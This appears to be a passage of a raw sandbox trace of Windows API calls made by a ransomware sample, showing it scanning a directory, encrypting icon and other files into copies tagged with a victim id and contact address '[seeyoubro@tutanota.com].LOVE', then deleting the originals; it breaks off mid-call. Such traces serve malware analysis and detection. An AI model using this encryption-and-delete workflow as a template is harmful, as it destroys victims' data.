[0195.931] lstrlenW (lpString=".rar") returned 4 [0195.931] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.931] lstrlenW (lpString=".bz2") returned 4 [0195.931] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.931] lstrlenW (lpString=".7z") returned 3 [0195.931] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.931] lstrlenW (lpString=".dbf") returned 4 [0195.931] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.931] lstrlenW (lpString=".1cd") returned 4 [0195.931] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0195.931] lstrlenW (lpString=".jpg") returned 4 [0195.931] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.931] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.931] lstrlenW (lpString="Rotate1.ico") returned 11 [0195.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.932] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=894) returned 1 [0195.932] CloseHandle (hObject=0x2e0) returned 1 [0195.932] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0195.932] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.932] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.932] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.933] GetLastError () returned 0x0 [0195.933] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0195.950] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x380, lpOverlapped=0x0) returned 1 [0195.951] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.951] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0195.952] SetEndOfFile (hFile=0x2f8) returned 1 [0195.952] CloseHandle (hObject=0x2f8) returned 1 [0195.953] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.953] SetEndOfFile (hFile=0x2e0) returned 1 [0195.954] CloseHandle (hObject=0x2e0) returned 1 [0195.954] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.954] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0195.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.954] lstrlenW (lpString=".doc") returned 4 [0195.954] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.955] lstrlenW (lpString=".docx") returned 5 [0195.955] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0195.955] lstrlenW (lpString=".pdf") returned 4 [0195.955] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.955] lstrlenW (lpString=".xls") returned 4 [0195.955] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.955] lstrlenW (lpString=".xlsx") returned 5 [0195.955] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0195.955] lstrlenW (lpString=".ppt") returned 4 [0195.955] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.955] lstrlenW (lpString=".zip") returned 4 [0195.955] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.955] lstrlenW (lpString=".rar") returned 4 [0195.955] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.955] lstrlenW (lpString=".bz2") returned 4 [0195.955] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.955] lstrlenW (lpString=".7z") returned 3 [0195.955] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.955] lstrlenW (lpString=".dbf") returned 4 [0195.955] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.955] lstrlenW (lpString=".1cd") returned 4 [0195.955] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.955] lstrlenW (lpString=".jpg") returned 4 [0195.955] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.956] lstrlenW (lpString=".doc") returned 4 [0195.956] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.956] lstrlenW (lpString=".docx") returned 5 [0195.956] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0195.956] lstrlenW (lpString=".pdf") returned 4 [0195.956] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.956] lstrlenW (lpString=".xls") returned 4 [0195.956] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.956] lstrlenW (lpString=".xlsx") returned 5 [0195.956] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0195.956] lstrlenW (lpString=".ppt") returned 4 [0195.956] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.956] lstrlenW (lpString=".zip") returned 4 [0195.956] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.956] lstrlenW (lpString=".rar") returned 4 [0195.956] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.956] lstrlenW (lpString=".bz2") returned 4 [0195.956] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.956] lstrlenW (lpString=".7z") returned 3 [0195.956] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.956] lstrlenW (lpString=".dbf") returned 4 [0195.956] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.956] lstrlenW (lpString=".1cd") returned 4 [0195.956] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0195.957] lstrlenW (lpString=".jpg") returned 4 [0195.957] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.957] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.957] lstrlenW (lpString="Rotate3.ico") returned 11 [0195.957] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.957] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=894) returned 1 [0195.957] CloseHandle (hObject=0x2e0) returned 1 [0195.957] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0195.957] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.957] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.958] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.958] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.958] GetLastError () returned 0x0 [0195.958] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0195.995] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x380, lpOverlapped=0x0) returned 1 [0195.996] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.996] WriteFile (in: hFile=0x2f8, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0195.996] SetEndOfFile (hFile=0x2f8) returned 1 [0195.997] CloseHandle (hObject=0x2f8) returned 1 [0195.997] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.997] SetEndOfFile (hFile=0x2e0) returned 1 [0195.997] CloseHandle (hObject=0x2e0) returned 1 [0195.998] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.998] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0195.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.998] lstrlenW (lpString=".doc") returned 4 [0195.998] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.998] lstrlenW (lpString=".docx") returned 5 [0195.998] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0195.998] lstrlenW (lpString=".pdf") returned 4 [0195.998] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.998] lstrlenW (lpString=".xls") returned 4 [0195.998] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.998] lstrlenW (lpString=".xlsx") returned 5 [0195.998] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0195.999] lstrlenW (lpString=".ppt") returned 4 [0195.999] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.999] lstrlenW (lpString=".zip") returned 4 [0195.999] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.999] lstrlenW (lpString=".rar") returned 4 [0195.999] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.999] lstrlenW (lpString=".bz2") returned 4 [0195.999] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.999] lstrlenW (lpString=".7z") returned 3 [0195.999] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.999] lstrlenW (lpString=".dbf") returned 4 [0195.999] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.999] lstrlenW (lpString=".1cd") returned 4 [0195.999] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.999] lstrlenW (lpString=".jpg") returned 4 [0195.999] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0195.999] lstrlenW (lpString=".doc") returned 4 [0195.999] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.999] lstrlenW (lpString=".docx") returned 5 [0195.999] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0195.999] lstrlenW (lpString=".pdf") returned 4 [0195.999] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.999] lstrlenW (lpString=".xls") returned 4 [0195.999] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.000] lstrlenW (lpString=".xlsx") returned 5 [0196.000] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0196.000] lstrlenW (lpString=".ppt") returned 4 [0196.000] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0196.000] lstrlenW (lpString=".zip") returned 4 [0196.000] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.000] lstrlenW (lpString=".rar") returned 4 [0196.000] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.000] lstrlenW (lpString=".bz2") returned 4 [0196.000] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.000] lstrlenW (lpString=".7z") returned 3 [0196.000] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0196.000] lstrlenW (lpString=".dbf") returned 4 [0196.000] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0196.000] lstrlenW (lpString=".1cd") returned 4 [0196.000] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0196.000] lstrlenW (lpString=".jpg") returned 4 [0196.000] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.001] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.001] lstrlenW (lpString="Rotate7.ico") returned 11 [0196.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.001] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=894) returned 1 [0196.001] CloseHandle (hObject=0x2e0) returned 1 [0196.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0196.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.011] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.011] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0196.569] GetLastError () returned 0x0 [0196.569] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0196.705] WriteFile (in: hFile=0x2d4, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x380, lpOverlapped=0x0) returned 1 [0196.706] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.706] WriteFile (in: hFile=0x2d4, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0196.706] SetEndOfFile (hFile=0x2d4) returned 1 [0196.706] CloseHandle (hObject=0x2d4) returned 1 [0196.707] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.707] SetEndOfFile (hFile=0x2e0) returned 1 [0196.708] CloseHandle (hObject=0x2e0) returned 1 [0196.708] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.708] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0196.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.709] lstrlenW (lpString=".doc") returned 4 [0196.709] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.709] lstrlenW (lpString=".docx") returned 5 [0196.709] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0196.709] lstrlenW (lpString=".pdf") returned 4 [0196.709] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.709] lstrlenW (lpString=".xls") returned 4 [0196.709] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.709] lstrlenW (lpString=".xlsx") returned 5 [0196.709] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0196.709] lstrlenW (lpString=".ppt") returned 4 [0196.709] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.709] lstrlenW (lpString=".zip") returned 4 [0196.709] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.709] lstrlenW (lpString=".rar") returned 4 [0196.709] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.709] lstrlenW (lpString=".bz2") returned 4 [0196.709] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.709] lstrlenW (lpString=".7z") returned 3 [0196.709] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.709] lstrlenW (lpString=".dbf") returned 4 [0196.709] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.709] lstrlenW (lpString=".1cd") returned 4 [0196.709] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.709] lstrlenW (lpString=".jpg") returned 4 [0196.710] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.710] lstrlenW (lpString=".doc") returned 4 [0196.710] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.710] lstrlenW (lpString=".docx") returned 5 [0196.710] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0196.710] lstrlenW (lpString=".pdf") returned 4 [0196.710] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.710] lstrlenW (lpString=".xls") returned 4 [0196.710] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.710] lstrlenW (lpString=".xlsx") returned 5 [0196.710] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0196.710] lstrlenW (lpString=".ppt") returned 4 [0196.710] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.710] lstrlenW (lpString=".zip") returned 4 [0196.710] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.710] lstrlenW (lpString=".rar") returned 4 [0196.710] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.710] lstrlenW (lpString=".bz2") returned 4 [0196.710] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.710] lstrlenW (lpString=".7z") returned 3 [0196.710] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.710] lstrlenW (lpString=".dbf") returned 4 [0196.710] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.710] lstrlenW (lpString=".1cd") returned 4 [0196.710] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0196.711] lstrlenW (lpString=".jpg") returned 4 [0196.711] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.711] lstrcmpiW (lpString1=".mzz", lpString2=".LOVE") returned 1 [0196.711] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0196.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.752] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=43131591) returned 1 [0196.752] CloseHandle (hObject=0x2cc) returned 1 [0196.752] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0196.753] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.753] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0196.753] CreateFileW 